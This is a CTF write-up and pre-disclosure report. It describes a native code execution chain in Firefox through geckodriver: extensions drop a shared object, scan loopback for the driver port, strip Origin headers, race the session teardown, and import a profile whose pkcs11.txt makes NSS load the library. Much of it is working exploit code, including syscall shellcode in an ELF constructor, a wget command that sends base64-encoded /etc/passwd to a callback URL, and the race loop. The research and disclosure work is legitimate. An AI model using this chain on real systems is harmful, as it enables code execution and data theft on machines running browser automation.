all notes

A Novel Technique for Achieving RCE in Firefox via geckodriver

Turning a Firefox profile, an NSS module, and a geckodriver teardown race into native code execution.

The challenge

During TRX CTF 2026 I worked on geckodrce, a Firefox challenge where we are allowed to upload an extension to a Selenium bot. The intended direction already sounded dangerous: our code runs as a privileged browser extension, but Firefox's main JavaScript exploitation paths are deliberately disabled.

I eventually found an alternative solve that never needed a memory-corruption bug. Instead, I turned geckodriver's profile-import feature into a native library-loading primitive through NSS, then raced the existing WebDriver session during teardown.

I reported the behavior to Mozilla. They approved publication of this post and are planning a fix; formal disclosure is still pending.

The challenge bot creates a headless Firefox instance and disables WebAssembly together with several JIT tiers:

opts = Options()
opts.binary_location = "/usr/bin/firefox"
opts.add_argument("-headless")
opts.set_preference("javascript.options.wasm", False)
opts.set_preference("javascript.options.baselinejit", False)
opts.set_preference("javascript.options.ion", False)
opts.set_preference("javascript.options.asmjs", False)

service = Service(executable_path="/usr/bin/geckodriver")
driver = webdriver.Firefox(options=opts, service=service)

It then temporarily installs the extension we uploaded, leaves it alive for sixty seconds, and shuts everything down:

addon_id = driver.install_addon(ext_path, temporary=True)
time.sleep(60)
driver.uninstall_addon(addon_id)
driver.quit()

That last part is more important than it first appears. The challenge gives us an extension execution window, but it also gives us a predictable browser and WebDriver lifecycle.

What counts as a win

The container runs the bot as an unprivileged user. The flag is readable only by root, while a setuid helper is intentionally provided:

COPY flag.txt /flag.txt
RUN chown root:root /flag.txt && chmod 400 /flag.txt

COPY --from=readflag-builder /readflag /readflag
RUN chown root:root /readflag && chmod 4755 /readflag

USER bot

The helper expects one argument and prints the flag only when called correctly:

if (argc != 2 || strcmp(argv[1], "pls") != 0) {
  write(1, "ask politely :(\n", 16);
  return 1;
}

int fd = open("/flag.txt", O_RDONLY);

So native code execution as bot is sufficient to solve the challenge: our process can invoke the setuid helper and exfiltrate its output. The privilege escalation belongs to the CTF setup. The underlying behavior I reported to Mozilla gives code execution with the permissions of the Firefox/geckodriver user.

The useful question became:

What does Selenium let a client control before Firefox starts?

Looking behind the browser

Selenium does not control Firefox directly. It launches geckodriver and talks to its HTTP implementation of the WebDriver protocol. geckodriver receives those commands and controls Firefox on Selenium's behalf.

The extension runs inside the Firefox process on the right, but geckodriver is still listening on loopback next to it. If the extension can reach that listener, we can start thinking like a second WebDriver client rather than like web content.

There are four problems to solve:

  1. Put a native library at a known absolute path.
  2. Discover the ephemeral port used by geckodriver.
  3. Send an accepted request from the extension to the local driver.
  4. Take control of a new session and make Firefox load the library.

The final exploit uses three temporary extensions to keep those jobs separate: a dropper, a scouter, and an attacker. A small harness packages them and coordinates their timing.

Placing the library

The NSS configuration we will use later needs an absolute library path. The extension cannot simply invent one because Firefox chooses where downloads are stored, so the first extension uses the Downloads API and asks Firefox for the completed download's real filename.

Before downloading anything, the harness builds a real Linux x86-64 shared object. The source avoids libc and invokes execve and exit through raw syscalls:

static inline long sc3(long n, long a1, long a2, long a3) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(n), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory"
    );
    return ret;
}

static inline long sc1(long n, long a1) {
    long ret;
    __asm__ volatile (
        "syscall"
        : "=a"(ret)
        : "a"(n), "D"(a1)
        : "rcx", "r11", "memory"
    );
    return ret;
}

__attribute__((constructor)) static void init(void) {
    static char *argv[] = {"/bin/sh", "-c", "__COMMAND__", 0};
    static char *envp[] = {0};
    sc3(59, (long)argv[0], (long)argv, (long)envp);
    sc1(60, 111);
}

59 is the x86-64 syscall number for execve, while 60 is exit. The constructor attribute places init in the ELF initialization array, so the dynamic loader calls it as soon as the library is loaded.

The harness replaces __COMMAND__ before compilation. For the standalone report, I used cat /etc/passwd and sent its base64-encoded output to the local callback server:

COMMAND = "cat /etc/passwd"
PAYLOAD = (
    f"wget -qO- '{REPORT_URL}/?bot=payload&kind=WIN&value='"
    f"$({COMMAND} | base64 -w 0) >/dev/null 2>&1"
)

In the CTF environment, COMMAND can instead run /readflag pls. The same callback receives the helper's output.

After substituting the command, the harness compiles the source with:

subprocess.run(
    [
        "gcc", "-shared", "-fPIC", "-nostdlib",
        "-o", str(output), str(tmp_source),
    ],
    check=True,
)

The equivalent shell command is:

gcc -shared -fPIC -nostdlib -o libflag.so libflag.c

The library does not export C_GetInterface or C_GetFunctionList, so it is not a functional PKCS#11 module. It does not need to be one. Loading an ELF object runs its constructors before NSS can finish resolving and validating the PKCS#11 entry points. A successful execve then replaces the Firefox process before that validation matters.

The harness reads the compiled .so, embeds it in the dropper extension as base64, and the extension turns those bytes into a blob:

const url = URL.createObjectURL(
  new Blob([b64ToBytes(PAYLOAD_B64)], {
    type: "application/octet-stream"
  })
);

const id = await browser.downloads.download({
  url,
  filename: "libflag.so",
  saveAs: false,
  conflictAction: "overwrite"
});

After the download completes, browser.downloads.search() returns the full path:

const items = await browser.downloads.search({ id: downloadId });
const item = items[0];

await report(
  "INFO",
  "Artifact libflag.so downloaded correctly",
  item.filename
);

At this point we have attacker-controlled native code on disk and know its absolute path, but nothing has loaded it yet.

Finding geckodriver

Selenium starts geckodriver on an ephemeral loopback port. The scouter extension finds it by probing the dynamic-port range and checking GET /status:

async function probePort(port) {
  const controller = new AbortController();
  const timeout = setTimeout(() => controller.abort(), 400);

  try {
    const res = await fetch(`http://127.0.0.1:${port}/status`, {
      signal: controller.signal
    });
    const text = await res.text();
    const looksValid =
      /Session already started|Session is already started|geckodriverVersion|moz:geckodriverVersion|ready/i.test(text);

    if (!looksValid) return false;
    await report("INFO", `Port found at ${port}`, port);
    return true;
  } catch (error) {
    return false;
  } finally {
    clearTimeout(timeout);
  }
}

Ten asynchronous workers divide the range from 32768 to 65535. A short timeout keeps closed ports from slowing down the scan.

This is not remote network discovery. The extension is probing services on the same machine, and its manifest has host access through <all_urls>.

Once a response looks like WebDriver status, the scouter sends the port back to the harness. We now know where the original Selenium session is managed.

Crossing geckodriver's browser-side check

geckodriver anticipates requests from web pages. Its flag documentation says that requests carrying an Origin header are rejected by default to protect a local driver from malicious websites.

That is a useful defense against ordinary web content. Our input is a privileged Manifest V2 extension with webRequestBlocking, so the attacker extension removes Origin and Referer before requests leave the browser:

const listener = (details) => {
  const headers = [];

  for (const header of details.requestHeaders || []) {
    const name = header.name.toLowerCase();
    if (name === "origin" || name === "referer") {
      continue;
    }
    headers.push(header);
  }

  return {requestHeaders: headers};
};

browser.webRequest.onBeforeSendHeaders.addListener(
  listener,
  {urls: ["http://127.0.0.1/*"]},
  ["blocking", "requestHeaders", "extraHeaders"]
);

The protection depends on a request property that the privileged client can change. After stripping the headers, the extension can send WebDriver requests that look like they came from a non-browser local client.

This starting position matters when discussing impact. A normal website does not get these extension permissions. The demonstrated path begins with a privileged extension or another same-user local client able to reach the listener.

The profile capability

The WebDriver New Session command accepts Firefox-specific capabilities. One of them is moz:firefoxOptions.profile, a base64-encoded ZIP containing a Firefox profile.

geckodriver's load_profile performs the important operations: it reads the string, base64-decodes it, creates a temporary profile, and extracts the ZIP into that directory.

The request generated by my attacker extension has this shape:

function buildSessionPayloadText() {
  return JSON.stringify({
    capabilities: {
      alwaysMatch: {
        browserName: "firefox",
        "moz:firefoxOptions": {
          args: ["-headless"],
          profile: PAYLOAD_B64
        }
      }
    }
  });
}

For normal automation this is convenient: tests can start with an existing collection of preferences, certificates, and browser state. The security-relevant detail is that a profile contains more than passive user data. Firefox interprets some of those files during native-component initialization.

Our ZIP contains one small file:

library=/absolute/path/to/libflag.so
name=test

The filename is pkcs11.txt. The library value is replaced with the path reported by the dropper before the archive is created.

Why pkcs11.txt reaches native code

Firefox uses Network Security Services, or NSS, for cryptographic functionality. NSS supports external PKCS#11 modules such as hardware-token drivers, and those modules are native libraries.

The path from the imported profile to the library loader is visible in Firefox and NSS source:

  1. nsNSSComponent::InitializeNSS obtains the NSS profile path.
  2. InitializeNSSWithFallbacks initializes NSS with module loading enabled outside safe mode.
  3. NSS reaches its external module loader, which calls the platform library-loading function for the configured module.

So the archive is not an executable file upload by itself. geckodriver first base64-decodes moz:firefoxOptions.profile and extracts the ZIP into a temporary Firefox profile. When Firefox starts with that profile, NSS reads pkcs11.txt and treats its library entry as an external module. The native loader maps the named shared object into the process, which immediately runs its constructor.

This is also why disabling WebAssembly and the JavaScript JIT does not stop the technique. The execution path never asks JavaScript to generate native code. JavaScript only delivers startup configuration to geckodriver; NSS later interprets that configuration and loads the module.

One driver, one active session

There is still a problem: the scouter's Selenium client already owns the driver session.

The WebDriver server's check_session explicitly rejects another New Session command while a session exists:

Session is already started

Sending our profile while the scouter browser is clearly alive therefore goes nowhere. The interesting transition occurs when Selenium calls driver.quit() near the end of the challenge's sixty-second window.

The server teardown code eventually clears its current session state. In my testing, the HTTP listener remained reachable long enough around this transition for a competing client to obtain a fresh session before the driver process disappeared.

The attacker extension repeatedly sends:

const response = await fetch(`http://127.0.0.1:${PORT}/session`, {
  method: "POST",
  cache: "no-store",
  headers: {"Content-Type": "application/json"},
  body: payloadText,
  signal: controller.signal
});

if (response.ok) {
  const body = await response.text();
  await report("WIN", body);
  return true;
}

Most attempts fail because the original session still exists or the driver has already exited. The winning request lands after the old session is no longer considered active but while the server can still accept a New Session command.

I scheduled the race shortly before the scouter's expected teardown and used multiple asynchronous workers with slightly staggered start times. Each request has a short timeout so a stalled attempt does not occupy a worker for the rest of the window.

The exact internal ordering of request handling and process shutdown is an implementation detail Mozilla can establish more precisely. The observable result is what matters for the report: a racing client can sometimes create another Firefox session with attacker-controlled capabilities around teardown.

Putting everything together

The complete solve is now:

  1. Compile a Linux shared object whose constructor runs the desired command.
  2. Upload a dropper extension that saves the object through Firefox's Downloads API and reports its absolute path.
  3. Start a scouter extension that probes loopback until it finds the geckodriver managing that browser.
  4. Build a profile ZIP containing pkcs11.txt, with library= pointing to the dropped object.
  5. Start attacker extensions with the driver port and base64-encoded profile embedded in their background scripts.
  6. Remove Origin and Referer from requests to the local driver.
  7. Race POST /session as the scouter's original session shuts down.
  8. When a request wins, geckodriver decodes the supplied profile and starts a new Firefox instance with it.
  9. Firefox initializes NSS from that profile, NSS loads the configured PKCS#11 module, and the library constructor executes.
  10. In the CTF environment, invoke /readflag pls and return its output to the callback server.

The three extensions are an implementation convenience, not three different vulnerabilities. Together they turn capabilities already available in the environment into one path across the automation boundary.

Impact and disclosure

The demonstrated result is native code execution as the same local user running Firefox and geckodriver. It is not a drive-by RCE from ordinary web content: the attacker needs a privileged extension or another same-user client that can reach the loopback listener, submit WebDriver requests, and provide the staged library.

The CTF makes this enough to read the root-owned flag because it supplies a setuid helper. That helper is challenge-specific and should not be confused with the impact of the geckodriver behavior itself.

The standalone reproducer was tested on Debian Trixie and, as written, uses a Linux x86-64 .so. The challenge image uses Alpine and pins Selenium 4.43.0, while Firefox and geckodriver come from its package repositories. My original report recorded Firefox, geckodriver, and Selenium as latest, so it does not establish a precise affected-version range.

Mozilla has approved publication and is planning a fix. Formal disclosure is still pending, so there is no public bug, advisory, CVE, patch, or authoritative affected-version range to link at the time of writing.

What I liked about this solve is that every individual feature is reasonable in isolation. Extensions may download files. WebDriver may import a profile. NSS may load security modules configured by that profile. The bug appears in the composition: a competing client can influence trusted startup state, and that state reaches a native library loader.

References